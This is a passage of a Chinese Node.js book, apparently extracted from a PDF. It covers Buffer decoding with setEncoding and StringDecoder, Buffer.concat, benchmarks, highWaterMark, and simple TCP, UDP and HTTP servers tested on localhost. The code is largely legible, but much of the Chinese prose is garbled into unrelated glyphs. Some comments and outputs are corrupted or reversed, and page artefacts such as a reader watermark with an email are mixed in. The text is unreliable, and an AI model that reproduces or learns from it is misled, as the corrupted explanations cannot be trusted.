ឞழก的作用是ᝧdata事͇中͛ᤫ的不в是一个Buffer对៵，Ꮺ是编ᆉ后的ߙቿ˘。为൤，

我们继续இᤈ前᭦ថൠ的程序，ຊ加setEncoding()的൥ᰠݟ下Ὑ 

var rs = fs.createReadStream('test.md', { highWaterMark: 11}); 
rs.setEncoding('utf8'); 

᧗新੯ᛠ程序，३到ᣤѢὙ 

 ၕăࠤཀྵາگ上ຠǗਉཀྵྭ௽ሆǈںǈᅑ是࠼前௽ሆض
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这是̽人开心的ᣤѢፆ౦，ឬ௙ᣤѢ不вԩBuffer大小的ॕֽ了。ᥦNode是ݟʹ实ဗ这个ᣤ

Ѣፆ౦的փ὞ 

要ᅻ᥊，௃᝶ݟʹ᝹Ꮅ编ᆉ，触发data事͇的次数Ιே相Վ，这਒։着᝹Ꮅ编ᆉ并లஇԪ૊

ൿ读Ԩ的۲本ழय。 

事实上，在ុ用setEncoding()时，可读ึ对៵在内部᝹Ꮅ了一个decoder对៵。ඇ次data事

͇都᤯过ឞdecoder对៵ᤈᛠBuffer到ߙቿ˘的解ᆉ，ཨ后͛ᤫፋុ用者。是஋᝹Ꮅ编ᆉ后，data

不в收到ԓ始的Buffer对៵。ͭ是这Ιே௃ก解᧕为ʹ᝹Ꮅ编ᆉ后˼ᆉ问题ᜁ解决૿了，因为在

前ᤗ分ౡ中，௃᝶ݟʹᣀᆉ，঳是ߚ在ߙࠔᓫߙቿ˘ᜁ੔ற的问题。 

最ጻ˼ᆉ问题३以解决，还是在于decoder的ᇷ݈之ܪ。decoder对៵౎自于string_decoder

ഴڰStringDecoder的实Β对៵。它ᇷ݈的ԓူ是̣˥，下᭦我们以̼ᆉ౎ឬ௙Ὑ 

var StringDecoder = require('string_decoder').StringDecoder; 
var decoder = new StringDecoder('utf8'); 
 
var buf1 = new Buffer([0xE5, 0xBA, 0x8A, 0xE5, 0x89, 0x8D, 0xE6, 0x98, 0x8E, 0xE6, 0x9C]); 
console.log(decoder.write(buf1)); 
 前௽ض <= //
 
var buf2 = new Buffer([0x88, 0xE5, 0x85, 0x89, 0xEF, 0xBC, 0x8C, 0xE7, 0x96, 0x91, 0xE6]); 
console.log(decoder.write(buf2)); 
// => ሆ࠼ǈᅑ 

我࠱前஠ଡ到的前ˏ个Buffer对៵写入decoder中。݈য的ڠழ在于þ月ÿ的ᣀᆉ并没有ࣰݟ

࣡一样在ˏ个部分分开ᣤѢ。StringDecoder在३到编ᆉ后，ᅻ᥊ߙࠔᓫߙቿ˘在UTF-8编ᆉ下是

以3个ߙᓫ的ழयߚϱ的，੝以ኃ一次write()时，只ᣤѢ前9个ߙᓫᣀᆉ्੆的ߙቿ，þ月ÿߙ的

前ˏ个ߙᓫᜁγ႐在StringDecoder实Β内部。ኃ̃次write()时，会࠱这2个қ余ߙᓫ֖后续11

个ߙᓫ组Ջ在一起，в次用3的ஞ数υߙᓫᤈᛠᣀᆉ。于是˼ᆉ问题᤯过这ሗ中्ᫍयᜁ解决了。 

ᙉཨstring_decoderഴڰ很݈ݫ，ͭ是它也并᭣ʹ能ᕱ，它目前只能ူܪUTF-8、Base64֖

UCS-2/UTF-16LE这3ሗ编ᆉ。੝以，᤯过setEncoding()的ழय不可否认能解决大部分的˼ᆉ问

题，ͭ并不能从಩本上解决ឞ问题。 

6.3.3� ℷ⹂ᣐ᥹Buffer 

淘෎૿setEncoding()ழก后，қ下的解决ழ಴只有࠱多个小Buffer对៵ૂ接为一个Buffer对

៵，ཨ后᤯过iconv-lite一ዜ的ഴڰ౎ᣀᆉ这ሗழय。+=的ழय௬ཨ不ᛠ，ᥦ˥ൣᆷ的Bufferૂ

接ழก应ឞݟ下᭦ࡘᇧ的्यὙ 

var chunks = []; 
var size = 0; 
res.on('data', function (chunk) { 
  chunks.push(chunk); 
  size += chunk.length; 
}); 
res.on('end', function () { 
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  var buf = Buffer.concat(chunks, size); 
  var str = iconv.decode(buf, 'utf8'); 
  console.log(str); 
}); 

ൣᆷ的ૂ接ழय是用一个数组౎ߚϱ接收到的੝有Bufferྞൿ并᝭े下੝有ྞൿ的঳᫁ऎ，

ཨ后ុ用Buffer.concat()ழก生੆一个Ջ并的Buffer对៵。Buffer.concat()ழก࠯ᜈ了从小

Buffer对៵Փ大Buffer对៵的复҃过程，实ဗӠ分ጹᒍ，Ϙ३ډ᜹学习Ὑ 

Buffer.concat = function(list, length) { 
  if (!Array.isArray(list)) { 
    throw new Error('Usage: Buffer.concat(list, [length])'); 
  } 
 
  if (list.length === 0) { 
    return new Buffer(0); 
  } else if (list.length === 1) { 
    return list[0]; 
  } 
 
  if (typeof length !== 'number') { 
    length = 0; 
    for (var i = 0; i < list.length; i++) { 
      var buf = list[i]; 
      length += buf.length; 
    } 
  } 
 
  var buffer = new Buffer(length); 
  var pos = 0; 
  for (var i = 0; i < list.length; i++) { 
    var buf = list[i]; 
    buf.copy(buffer, pos); 
    pos += buf.length; 
  } 
  return buffer; 
}; 

6.4� Buffer Ϣᗻ㛑 

Buffer在஠͇I/O֖网ፎI/O中ᤁ用广ค，࠾Ф在网ፎ͛ᣤ中，它的性能ˠᡛᣏ᧗。在应用中，

我们᤯࣡会ୱ作ߙቿ˘，ͭ一ெ在网ፎ中͛ᣤ，都ᭉ要ᣀ૰为Buffer，以ᤈᛠ̃ᤈ҃数૵͛ᣤ。

在Web应用中，ߙቿ˘ᣀ૰到Buffer是时时҈҈发生的，ଡ高ߙቿ˘到Buffer的ᣀ૰஌ည，可以很

大程ऎڠଡ高网ፎ՛Ւည。 

在ࡘ开Buffer与网ፎ͛ᣤ的关系之前，我们可以Ў౎ᤈᛠ一次性能测试。下᭦的Βߔ中ౝᤴ

了一个10 KB大小的ߙቿ˘。我们ᯪЎ᤯过ጥߙቿ˘的ழयՓ客ਖ਼端发ᤞ，̼ᆉݟ下Ὑ 

var http = require('http'); 
var helloworld = ""; 
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for (var i = 0; i < 1024 * 10; i++) { 
  helloworld += "a"; 
} 
 
// helloworld = new Buffer(helloworld); 
 
http.createServer(function (req, res) { 
  res.writeHead(200); 
  res.end(helloworld); 
}).listen(8001); 

我们᤯过abᤈᛠ一次性能测试，发起200个并发客ਖ਼端Ὑ 

ab -c 200 -t 100 http://127.0.0.1:8001/ 

३到的测试ፆ౦ݟ下੝ᇧὙ 

HTML transferred:       512000000 bytes 
Requests per second:    2527.64 [#/sec] (mean) 
Time per request:       79.125 [ms] (mean) 
Time per request:       0.396 [ms] (mean, across all concurrent requests) 
Transfer rate:          25370.16 [Kbytes/sec] received 

测试的QPS（ඇሙಉល次数）是2527.64，͛ᣤည为ඇሙ25 370.16 KB。 
接下౎我们Ԩ๖૿helloworld = new Buffer(helloworld);前的ซ᧕，使Փ客ਖ਼端ᣤѢ的是一

个Buffer对៵，௃ᮋ在ඇ次ֽ应时ᤈᛠᣀ૰。в次ᤈᛠ性能测试的ፆ౦ݟ下੝ᇧὙ 

Total transferred:      513900000 bytes 
HTML transferred:       512000000 bytes 
Requests per second:    4843.28 [#/sec] (mean) 
Time per request:       41.294 [ms] (mean) 
Time per request:       0.206 [ms] (mean, across all concurrent requests) 
Transfer rate:          48612.56 [Kbytes/sec] received 

QPS的ଡӣ到4843.28，͛ᣤည为ඇሙ48 612.56 KB，性能ଡ高ᤂ一υ。 
᤯过ᮔЎᣀ૰᭡খ内ࠓ为Buffer对៵，可以有஌ڠђ࠵CPU的᧗复使用，ᓫᄴ服务٧ᠪ源。

在Nodeౝत的Web应用中，可以ᤤસ࠱页᭦中的动খ内֖ࠓ᭡খ内ࠓ分ሎ，᭡খ内ࠓ部分可以᤯

过ᮔЎᣀ૰为Buffer的ழय，使性能३到ଡӣ。由于஠͇自ᢵ是̃ᤈ҃数૵，੝以在不ᭉ要இԪ

内ࠓ的场景下，ࡉ量只读ԨBuffer，ཨ后ᄯ接͛ᣤ，不做ᮨ外的ᣀ૰，ᥗБ૮Ᏹ。 
z 文͇ឳԨ 
Buffer的使用ᬓ了与ߙቿ˘的ᣀ૰有性能૮Ᏹ外，在஠͇的读Ԩ时，有一个highWaterMark᝹

Ꮅ对性能的ॕֽ至关᧗要。在fs.createReadStream(path, opts)时，我们可以͛入一些ԟ数，̼

ᆉݟ下Ὑ  

{ 
  flags: 'r', 
  encoding: null, 
  fd: null, 
  mode: 0666, 
  highWaterMark: 64 * 1024 
} 
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我们还可以͛ᤫstart֖end౎ૈ定读Ԩ஠͇的ͮᎵᔴډὙ 

{start: 90, end: 99} 

fs.createReadStream()的工作ழय是在内ߚ中эܫ一ൿBuffer，ཨ后在fs.read()读Ԩ时ᤩ൥

从ᇒᄧ中ߙ࠱ᓫ复҃到Buffer中。߸੆一次读Ԩ时，Ѷ从这个Buffer中᤯过slice()ழกԨѢ部分

数૵作为一个小Buffer对៵，в᤯过data事͇͛ᤫፋុ用ழ。ݟ౦Buffer用߸，Ѷ᧗新分ᦠ一个὚

 ౦还有қ余，Ѷ继续使用。下᭦为分ᦠ一个新的Buffer对៵的ୱ作Ὑݟ

var pool; 
 
function allocNewPool(poolSize) { 
  pool = new Buffer(poolSize); 
  pool.used = 0; 
} 

在ူ想的࿃х下，ඇ次读Ԩ的᫁ऎ就是用ਖ਼ૈ定的highWaterMark。ͭ是有可能读到了஠͇

ፆࡊ，੊者஠͇本ᢵ就没有ૈ定的highWaterMarkᥦ˥大，这个ᮔЎૈ定的Buffer对៵࠱会有部分

қ余，不过好在这᧖的内ߚ可以分ᦠፋ下次读Ԩ时使用。pool是࣡᯾内ߚ的，只有ॆpoolӬЊқ

余数量小于128（kMinPoolSpace）ߙᓫ时，才会᧗新分ᦠ一个新的Buffer对៵。Node源̼ᆉ中分

ᦠ新的Buffer对៵的ѻற్͇ݟ下੝ᇧὙ 

if (!pool || pool.length - pool.used < kMinPoolSpace) { 
  // discard the old pool 
  pool = null; 
  allocNewPool(this._readableState.highWaterMark); 
} 

这᧖与Buffer的内ߚ分ᦠඊᣖዜͪ，highWaterMark的大小对性能有ˏ个ॕֽ的ཁ。 

� highWaterMark᝹Ꮅ对Buffer内ߚ的分ᦠ֖使用有一定ॕֽ。 

� highWaterMark᝹Ꮅ过小，可能࠭ᒰ系统ុ用次数过多。 

஠͇ึ读Ԩ۲于Buffer分ᦠ，BufferѶ۲于SlowBuffer分ᦠ，这可以ူ解为ˏ个፤ऎ的分ᦠን

႔。ݟ౦஠͇ᣖ小（小于8 KB），有可能ᤴ੆slabల能߸К使用。 

由于fs.createReadStream()内部᧓用fs.read()实ဗ，࠱会ल起对ᇒᄧ的系统ុ用，对于大

஠͇Ꮺ言，highWaterMark的大小决定会触发系统ុ用֖data事͇的次数。 

以下为Node自ࣛ的۲э测试，在benchmark/fs/read-stream-throughput.js中可以੼到Ὑ 

function runTest() { 
  assert(fs.statSync(filename).size === filesize); 
  var rs = fs.createReadStream(filename, { 
    highWaterMark: size, 
    encoding: encoding 
  }); 
 
  rs.on('open', function() { 
    bench.start(); 
  }); 
 
  var bytes = 0; 
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  rs.on('data', function(chunk) { 
    bytes += chunk.length; 
  }); 
 
  rs.on('end', function() { 
    try { fs.unlinkSync(filename); } catch (e) {} 
    // MB/sec 

    bench.end(bytes / (1024 * 1024)); 
  }); 
} 

下᭦为౼次੯ᛠ的ፆ౦Ὑ 

fs/read-stream-throughput.js type=buf size=1024: 46.284 
fs/read-stream-throughput.js type=buf size=4096: 139.62 
fs/read-stream-throughput.js type=buf size=65535: 681.88 
fs/read-stream-throughput.js type=buf size=1048576: 857.98 

从上᭦的੯ᛠፆ౦我们可以ᄹ到，读Ԩ一个相Վ的大஠͇时，highWaterMarkϘ的大小与读Ԩᤳ

ऎ的关系ὙឞϘᡔ大，读Ԩᤳऎᡔঋ。 

6.5� ᘏ㒧 

ͳᰍ过JavaScript友好的ߙቿ˘ୱ作后，有些开发者可能会्੆ধ፤定势，࠱Bufferॆ做ߙ

ቿ˘౎ူ解。ͭߙቿ˘与Buffer之ᫍ有实质上的ࢿऩ，ԀBuffer是̃ᤈ҃数૵，ߙቿ˘与Buffer

之ᫍߚ在编ᆉ关系。因൤，ူ解Buffer的ឰ多ጹᓫӠ分ॸ要，对于ݟʹ高஌̃ူܪᤈ҃数૵Ӡ

分有用。 

6.6� খ㗗䌘⑤ 

本ብԟᏥ的ᠪ源ݟ下Ὑ 

� http://nodejs.org/docs/latest/api/buffer.html 

� http://nodejs.org/docs/latest/api/string_decoder.html 

� https://github.com/bnoordhuis/node-iconv 

� https://github.com/ashtuchkin/iconv-lite 

� http://httpd.apache.org/docs/2.2/programs/ab.html 

� http://cnodejs.org/user/fool 

� http://en.wikipedia.org/wiki/Slab_allocation 

� https://www.ibm.com/developerworks/cn/linux/l-linux-slab-allocator/ 
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Node是一个᭦Փ网ፎᏪ生的ࣰԻ，它Х有事͇驱动、௃᫽܊、Ӭ线程ኍྱ性，Хܫᓡ好的可

ͨ᎕性，使३它Ӡ分ᣏ量，᤟Ջ在分࣊य网ፎ中ੵ໥ՉሗՉ样的ᝇᓣ。Վ时NodeଡΘ的APIӠ分

᠚Ջ网ፎ，᤟Ջ用它۲ᆨ的APIౝत灵活的网ፎ服务。从本ብ起，我̭࠱ፀNode在网ፎ服务٧ழ

᭦的Хͳ能Ҧ。 

ѽ用Node可以Ӡ分ழΦୃڠत网ፎ服务٧。在Webᮖ۪，大多数的编程语言ᭉ要˃门的Web

服务٧作为ݟ，٧ࠓASP、ASP.NETᭉ要IIS作为服务٧，PHPᭉ要ୃᣑApache੊Nginx环境ኍ，

JSPᭉ要Tomcat服务٧ኍ。ͭ 对于NodeᏪ言，只ᭉ要几ᛠ̼ᆉԀ可ౝत服务٧，௃ᭉᮨ外的٧ࠓ。 

NodeଡΘ了net、dgram、http、https这4个ഴڰ，分Ѿ用于ူܪTCP、UDP、HTTP、HTTPS，

᤟用于服务٧端֖客ਖ਼端。 

7.1� ᵘᓎ TCP ᳡ࡵ 
TCP服务在网ፎ应用中Ӡ分࣡᜸，目前大多数的应用都是۲于TCPୃतᏪ੆的。 

7.1.1� TCP 
TCPКՏ为͛ᣤଌ҃Өᝫ，在OSIഴۋ（由ʸࡎ组੆，分Ѿ为ྫྷူࡎ、数૵ᩖፆࡎ、网ፎࡎ、

͛ᣤࡎ、会ពࡎ、ᛪᇧࡎ、应用ࡎ）中࡚于͛ᣤࡎӨᝫ。᝴多应用ࡎӨᝫ۲于TCPౝत，Цۋ的

是HTTP、SMTP、IMAPኍӨᝫ。ʸࡎӨᝫᇧ਒图ݟ图7-1੝ᇧ。 

 

图7-1 OSIഴۋ（ʸࡎӨᝫ） 

第 � 章

图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权

15518
线条

15518
线条



7.1� ౝत TCP నҫ� � 151 

 

1 

2 

3 

4 

5 

11 

6 

7 

8 

9 

10 

TCP是᭦Փᤋ接的Өᝫ，Ф௬ᗂ的ྱड़是在͛ᣤ之前ᭉ要3次ଦ੣्੆会ព，ݟ图7-2੝ᇧ。 

 

图7-2 TCP在͛ᣤ之前的3次ଦ੣ 

只有会ព्੆之后，服务٧端֖客ਖ਼端之ᫍ才能̈相发ᤞ数૵。在创त会ព的过程中，服务

٧端֖客ਖ਼端分ѾଡΘ一个ݒ接ߙ，这ˏ个ݒ接ߙРՎ्੆一个ᤋ接。服务٧端与客ਖ਼端Ѷ᤯过

 。实ဗˏ者之ᫍᤋ接的ୱ作ߙ接ݒ

7.1.2� ߯ᓎTCP᳡ࡵ఼ッ 

在۲本了解TCP的工作ԓူ之后，我们可以开始创त一个TCP服务٧端౎接ԩ网ፎ请ය，̼

ᆉݟ下Ὑ 

var net = require('net'); 
 
var server = net.createServer(function (socket) { 
  // ႎ的૶接 
  socket.on('data', function (data) { 
    socket.write("ేࡻ"); 
  }); 
 
  socket.on('end', function () { 
    console.log('૶接܏开'); 
  }); 
  socket.write("࣌ᆓ࠼ଣĖศ入റ出Node.jsė๖૩：\n"); 
}); 
 
server.listen(8124, function () { 
  console.log('server bound'); 
}); 

我们᤯过net.createServer(listener)Ԁ可创त一个TCP服务٧，listener是ᤋ接事͇connection

的Νե٧，也可以᧓用ݟ下的ழयᤈᛠΝեὙ 

var server = net.createServer(); 
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server.on('connection', function (socket) { 
  // ႎ的૶接 
}); 
server.listen(8124); 

我们可以ѽ用Telnet工Х作为客ਖ਼端对ѷ才创त的ኤӬ服务٧ᤈᛠ会ព̓ึ，相关̼ᆉݟ下

੝ᇧὙ 

$ telnet 127.0.0.1 8124 
Trying 127.0.0.1... 
Connected to localhost. 
Escape character is '^]'. 
 ：ଣĖศ入റ出Node.jsė๖૩࠼ᆓ࣌
hi 
 ࡻే

ᬓ了端ԯ外，Վ样我们也可以对Domain Socketᤈᛠᄢե，̼ᆉݟ下Ὑ 

server.listen('/tmp/echo.sock'); 

᤯过nc工Хᤈᛠ会ព，测试上᭦ౝत的TCP服务的̼ᆉݟ下੝ᇧὙ 

$ nc -U /tmp/echo.sock 
 ：ଣĖศ入റ出Node.jsė๖૩࠼ᆓ࣌
hi 
 ࡻే

᤯过netഴڰ自ᛠౝᤴ客ਖ਼端ᤈᛠ会ព，测试上᭦ౝत的TCP服务的̼ᆉݟ下੝ᇧὙ 

var net = require('net'); 
var client = net.connect({port: 8124}, function () { //'connect' listener 
  console.log('client connected'); 
  client.write('world!\r\n'); 
}); 
 
client.on('data', function (data) { 
  console.log(data.toString()); 
  client.end(); 
}); 
 
client.on('end', function () { 
  console.log('client disconnected'); 
}); 

 下੝ᇧὙݟ，为client.js并੯ᛠߚ以上客ਖ਼端̼ᆉ࠱

$ node client.js  
client connected 
 ：ଣĖศ入റ出Node.jsė๖૩࠼ᆓ࣌
 
 ࡻే
client disconnected 

Фፆ౦与使用Telnet֖nc的会ពፆ౦并௃ࢿѾ。ݟ౦是Domain Socket，在܌写ᤤᮉ时，܌写

pathԀ可，̼ᆉݟ下Ὑ 

var client = net.connect({path: '/tmp/echo.sock'}); 
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7.1.3� TCP᳡ࡵⱘџӊ 

在上ᤗ的ᇧΒ中，̼ᆉ分为服务٧事͇֖ᤋ接事͇。 

1. ᳡ࡵ఼џӊ 
对于᤯过net.createServer()创त的服务٧Ꮺ言，它是一个EventEmitter实Β，它的自定˦

事͇有ݟ下几ሗ。 

� listeningὙ在ុ用server.listen()ፄ定端ԯ੊者Domain Socket后触发，ኤผ写ก为

server.listen(port,listeningListener)，᤯过listen()ழก的ኃ̃个ԟ数͛入。 

� connectionὙඇ个客ਖ਼端ݒ接ߙᤋ接到服务٧端时触发，ኤผ写ก为᤯过net.create- 

Server()，最后一个ԟ数͛ᤫ。 

� closeὙॆ服务٧关᫆时触发，在ុ用server.close()后，服务࠱٧Ϣൢ接ԩ新的ݒ接ߙ

ᤋ接，ͭγ૆ॆ前ߚ在的ᤋ接，ኍय़੝有ᤋ接都ற开后，会触发ឞ事͇。 

� errorὙॆ服务٧发生ऩ࣡时，࠱会触发ឞ事͇。ඊݟΝե一个使用中的端ԯ，࠱会触发

一个ऩ࣡，ݟ౦不Νեerror事͇，服务࠱٧会ઊѢऩ࣡。 

2. 䖲᥹џӊ 
服务٧可以Վ时与多个客ਖ਼端γ૆ᤋ接，对于ඇ个ᤋ接Ꮺ言是Цۋ的可写可读Stream对៵。

Stream对៵可以用于服务٧端֖客ਖ਼端之ᫍ的᤯信，௄可以᤯过data事͇从一端读ԨԲ一端发౎

的数૵，也可以᤯过write()ழก从一端ՓԲ一端发ᤞ数૵。它Х有ݟ下自定˦事͇。 

� dataὙॆ一端ុ用write()发ᤞ数૵时，Բ一端会触发data事͇，事͇͛ᤫ的数૵Ԁ是

write()发ᤞ的数૵。 

� endὙॆᤋ接中的͉਒一端发ᤞ了FIN数૵时，࠱会触发ឞ事͇。 

� connectὙឞ事͇用于客ਖ਼端，ॆݒ接ߙ与服务٧端ᤋ接੆ҩ时会ᜁ触发。 

� drainὙॆ͉਒一端ុ用write()发ᤞ数૵时，ॆ前这端会触发ឞ事͇。 

� errorὙॆऩ࣡发生时，触发ឞ事͇。 

� closeὙॆݒ接ߙ߸К关᫆时，触发ឞ事͇。 

� timeoutὙॆ一定时ᫍ后ᤋ接不в活跃时，ឞ事͇࠱会ᜁ触发，᤯ᅻ用ਖ਼ॆ前ឞᤋ接已经

ᜁ᫋Ꮅ了。 

Բ外，由于TCPݒ接ߙ是可写可读的Stream对៵，可以ѽ用pipe()ழกڠݫࢻ实ဗ管᥊ୱ作，

 下̼ᆉ实ဗ了一个echo服务٧Ὑݟ

var net = require('net'); 
 
var server = net.createServer(function (socket) { 
  socket.write('Echo server\r\n'); 
  socket.pipe(socket); 
}); 
 
server.listen(1337, '127.0.0.1'); 

Ϙ३ซ਒的是，TCP᧪对网ፎ中的小数૵包有一定的优Ӑን႔ὙNagleኪก。ݟ౦ඇ次只发
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ᤞ一个ߙᓫ的内ࠓᏪ不优Ӑ，网ፎ中࠱Ќ໗只有极࠵数有஌数૵的数૵包，࠱Ӡ分ํ᠟网ፎᠪ源。

Nagleኪก᧪对这ሗ情х，要යᎀу区的数૵᣹到一定数量੊者一定时ᫍ后才࠱Ф发Ѣ，੝以小

数૵包࠱会ᜁNagleኪกՋ并，以൤౎优Ӑ网ፎ。这ሗ优Ӑᙉཨ使网ፎࣛࠔᜁ有஌ڠ使用，ͭ是

数૵有可能ᜁढᤌ发ᤞ。 

在Node中，由于TCP᳭认ը用了Nagleኪก，可以ុ用socket.setNoDelay(true)Ԝ૿Nagleኪ

ก，使३write()可以立Ԁ发ᤞ数૵到网ፎ中。 

Բ一个ᭉ要ซ਒的是，ࡉ管在网ፎ的一端ុ用write()会触发Բ一端的data事͇，ͭ是并不

਒։着ඇ次write()都会触发一次data事͇，在关᫆૿Nagleኪก后，Բ一端可能会࠱接收到的多

个小数૵包Ջ并，ཨ后只触发一次data事͇。 

7.2� ᵘᓎ UDP ᳡ࡵ 
UDPԠሥ用ਖ਼数૵包Өᝫ，与TCP一样Վ࡚于网ፎ͛ᣤࡎ。UDP与TCP最大的不Վ是UDP不是

᭦Փᤋ接的。TCP中ᤋ接一ெत立，੝有的会ព都۲于ᤋ接߸੆，客ਖ਼端ݟ౦要与Բ一个TCP服务

᤯信，ᭉ要Բ创त一个ݒ接ߙ౎߸੆ᤋ接。ͭ在UDP中，一个ݒ接ߙ可以与多个UDP服务᤯信，它

ᙉཨଡΘ᭦Փ事务的ኤӬ不可᭤信ো͛ᣤ服务，在网ፎࢿ的情х下ߚ在ˎ包ː᧗的问题，ͭ 是由于

它௃ᮋᤋ接，ᠪ源๖Ᏹͯ，ူܪঋᤳ且灵活，੝以࣡࣡应用在ᥦሗϥ࠶ˎ一ˏ个数૵包也不会产生

᧗大ॕֽ的场景，ඊݟᮂᮟ、᜼ᮟኍ。UDP目前应用很广ค，DNS服务Ԁ是۲于它实ဗ的。 

7.2.1� ߯ᓎUDP༫᥹ᄫ 

创तUDPݒ接ߙӠ分ኤӬ，UDPݒ接ߙ一ெ创त，௄可以作为客ਖ਼端发ᤞ数૵，也可以作为

服务٧端接收数૵。下᭦的̼ᆉ创त了一个UDPݒ接ߙὙ 

var dgram = require('dgram'); 
var socket = dgram.createSocket("udp4"); 

7.2.2� ߯ᓎUDP᳡ࡵ఼ッ 

ᔩ想ᝧUDPݒ接ߙ接收网ፎ๖ো，只要ុ用dgram.bind(port, [address])ழก对网Ӵ֖端ԯ

ᤈᛠፄ定Ԁ可。以下为一个߸ஞ的服务٧端ᇧΒὙ 

var dgram = require("dgram"); 
 
var server = dgram.createSocket("udp4"); 
 
server.on("message", function (msg, rinfo) { 
  console.log("server got: " + msg + " from " + 
    rinfo.address + ":" + rinfo.port); 
}); 
 
server.on("listening", function () { 
  var address = server.address(); 
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  console.log("server listening " + 
      address.address + ":" + address.port); 
}); 
 
server.bind(41234); 

ឞݒ接࠱ߙ接收੝有网Ӵ上41234端ԯ上的๖ো。在ፄ定߸੆后，࠱触发listening事͇。 

7.2.3� ߯ᓎUDPᅶ᠋ッ 

接下౎我们创त一个客ਖ਼端与服务٧端ᤈᛠ对ព，̼ᆉݟ下Ὑ 

var dgram = require('dgram'); 
 
var message = new Buffer("ศ入റ出Node.js"); 
var client = dgram.createSocket("udp4"); 
client.send(message, 0, message.length, 41234, "localhost", function(err, bytes) { 
  client.close(); 
}); 

γߚ为client.js并੯ᛠ，服务٧端的̽֐ᛠ࠱会有ݟ下ᣤѢὙ 

$ node server.js  
server listening 0.0.0.0:41234 
server got: ศ入റ出Node.js from 127.0.0.1:58682 

 下Ὑݟ对៵用在客ਖ਼端时，可以ុ用send()ழก发ᤞ๖ো到网ፎ中。send()ழก的ԟ数ߙ接ݒॆ

socket.send(buf, offset, length, port, address, [callback]) 

这些ԟ数分Ѿ为要发ᤞ的Buffer、Buffer的ϟሧ、Buffer的᫁ऎ、目ಕ端ԯ、目ಕڦڠ、发ᤞ

߸੆后的ុٿ。与TCPݒ接ߙ的write()相ඊ，send()ழก的ԟ数Ѵᛪ相对复杂，ͭ是它ఝ灵活的

౦要发ᤞ数૵ፋԲ一个服务٧端，Ѷݟழ在于可以ᬣ਒发ᤞ数૵到网ፎ中的服务٧端，ᏪTCPڠ

ᭉ要᧗新᤯过ݒ接ߙౝᤴ新的ᤋ接。 

7.2.4� UDP༫᥹ᄫџӊ 

UDPݒ接ߙ相对TCPݒ接ߙ使用起౎ఝኤӬ，它只是一个EventEmitter的实Β，Ꮺ᭣Stream

的实Β。它Хݟܫ下自定˦事͇。 

� messageὙॆUDPݒ接ߙΝե网Ӵ端ԯ后，接收到๖ো时触发ឞ事͇，触发୅ࣛ的数૵为

๖োBuffer对៵֖一个ᤉ程ڦڠ信ো。 

� listeningὙॆUDPݒ接ߙ开始Νե时触发ឞ事͇。 

� closeὙុ用close()ழก时触发ឞ事͇，并不в触发message事͇。ݟᭉв次触发message

事͇，᧗新ፄ定Ԁ可。 

� errorὙॆऩ࣡发生时触发ឞ事͇，ݟ౦不Νե，ऩ࣡࠱ᄯ接ઊѢ，使ᤈ程ᤝѢ。 

7.3� ᵘᓎ HTTP ᳡ࡵ 

TCP与UDP都࡚于网ፎ͛ᣤࡎӨᝫ，ݟ౦要ౝᤴ高஌的网ፎ应用，就应ឞ从͛ᣤࡎᤈᛠ着੣。
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ͭ是对于经Ц的应用场景，Ѷ௃ᮋ从͛ᣤࡎӨᝫ入੣ౝᤴ自己的应用，ඊݟHTTP੊SMTPኍ，这

些经Ц的应用ࡎӨᝫ对于௾᤯应用Ꮺ言፠፠有余。NodeଡΘ了۲本的http֖httpsഴڰ用于HTTP

֖HTTPS的࠯ᜈ，对于Ф他应用ࡎӨᝫ的࠯ᜈ，也能从社区中ᣏౚ੼到Ф实ဗ。 

在Node中ౝतHTTP服务极Фࠓ௛，Node߽网上的经ЦΒߔ就ࡘᇧ了ݟʹ用寥寥几ᛠ̼ᆉ实

ဗ一个HTTP服务٧，̼ᆉݟ下Ὑ 

var http = require('http'); 
http.createServer(function (req, res) { 
  res.writeHead(200, {'Content-Type': 'text/plain'}); 
  res.end('Hello World\n'); 
}).listen(1337, '127.0.0.1'); 
console.log('Server running at http://127.0.0.1:1337/'); 

ࠓ复Hello World，ͭ是它能፤૆的并发量֖QPS都是不ٿ管这个HTTP服务٧ኤӬ到只能ࡉ

小ᝆ的，Фᐿ后的ԓ因在ኃ3ብ中有ԫᤗ，൤ܪ我们不в探ᝦ。这᧖我们ઊ开性能，只对ФHTTP

服务在应用ࡎ的实ဗԓူᤈᛠࡘ开、ᝦ᝶֖研ቂ。 

7.3.1� HTTP 

1. ߱䆚HTTP 
HTTP的Кሥ是ᡓ஠本͛ᣤӨᝫ，ᔭ஠写作HyperText Transfer Protocol。ൗ了解Web，Ў了解

HTTP࠱会极大ڠଡ高我们对Web的认ᅻ。HTTPౝत在TCP之上，࡚ 于应用ࡎӨᝫ。在HTTP的ˏ

端是服务٧֖เ᜾٧，ԀᗂՏ的B/Sഴय，ݟ今ዴॐጬյ的WebԀ是HTTP的应用。 

HTTP३以发ࡘ是W3C֖IETFˏ个组织Ջ作的ፆ౦，他们最ጻ发࣊了一系ѴRFCಕэ，目前

最ᅻՏ的HTTPಕэ为RFC 2616。 

2. HTTP᡹᭛ 
为了សጹ解᧕HTTP的ઐ஠，在ը动上ᤗ服务٧端̼ᆉ后，我们对经ЦᇧΒ̼ᆉᤈᛠ一次ઐ஠

的ᖌԨ，这᧖᧓用的工Х是curl，᤯过-vᤤᮉ，可以௬ᇧ这次网ፎ᤯信的੝有ઐ஠信ো，ݟ下੝ᇧὙ 

$ curl -v http://127.0.0.1:1337 
* About to connect() to 127.0.0.1 port 1337 (#0) 
*   Trying 127.0.0.1... 
* connected 
* Connected to 127.0.0.1 (127.0.0.1) port 1337 (#0) 
> GET / HTTP/1.1 
> User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5 
> Host: 127.0.0.1:1337 
> Accept: */* 
>  
< HTTP/1.1 200 OK 
< Content-Type: text/plain 
< Date: Sat, 06 Apr 2013 08:01:44 GMT 
< Connection: keep-alive 
< Transfer-Encoding: chunked 
<  
Hello World 
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* Connection #0 to host 127.0.0.1 left intact 
* Closing connection #0 

从上ᤗ信ো中我们可以ᄹ到这次网ፎ᤯信的ઐ஠信ো分为几个部分，ኃ一部分内ࠓ为经Ц的

TCP的3次ଦ੣过程，ݟ下੝ᇧὙ 

* About to connect() to 127.0.0.1 port 1337 (#0) 
*   Trying 127.0.0.1... 
* connected 
* Connected to 127.0.0.1 (127.0.0.1) port 1337 (#0) 

ኃ̃部分是在߸੆ଦ੣之后，客ਖ਼端Փ服务٧端发ᤞ请යઐ஠，ݟ下੝ᇧὙ 

> GET / HTTP/1.1 
